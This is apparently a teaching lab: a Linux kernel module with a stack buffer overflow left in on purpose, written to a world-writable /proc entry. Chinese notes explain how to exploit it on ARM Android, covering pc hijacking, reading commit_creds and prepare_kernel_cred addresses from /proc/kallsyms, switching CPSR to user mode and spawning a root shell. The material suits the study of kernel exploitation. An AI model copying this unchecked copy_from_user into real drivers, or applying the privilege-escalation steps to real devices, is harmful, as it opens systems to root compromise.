#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#include <linux/uaccess.h>  /* copy_from_user */
#include <linux/moduleparam.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/miscdevice.h>
#include <linux/cred.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");

static struct proc_dir_entry *stack_buffer_proc_entry;

int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspacen");
        return -EFAULT;
    }
    return count;
}

static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = proc_create("stack_buffer_overflow", 0666, NULL, NULL);
    //stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflown");
    return 0;
}

static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removedn");
}

module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);


#if 0

输入超过64字节时我们能够覆盖其他的数据，比如返回地址等，进而劫持程序执行流到我们的 shellcode 中 进行提权。

echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow


Unable to handle kernel paging request at virtual address 41414140
pc : [<41414140>]   lr : [<41414141>]


可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ，
所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单，
内核态调用  commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 
然后返回 用户态 执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell， 完成提权。
下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。
在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。
不过在最近的内核版本中，为了使利用内核漏洞变得更加困难，linux内核目前禁止一般用户获取符号。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict                       
root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
c0039834 T commit_creds
root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 
c0039d34 T prepare_kernel_cred

禁用掉之后，我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此，提权的问题解决了，下面就是要回到用户态，在x86平台有 iret指令可以回到用户态，在arm下返回用户态就更简单了。
在arm下 cpsr 寄存器的 M[4：0] 位用来表示 处理器的运行模式，具体可以看这个。
所以我们把 cpsr 寄存器的 M[4：0] 位设置为 10000后就表示 处理器进入了用户模式。

所以现在的利用思路是：
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
2.调用 mov r3, #0x40000010;   MSR    CPSR_c,R3; 设置 cpsr寄存器，使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell




#endif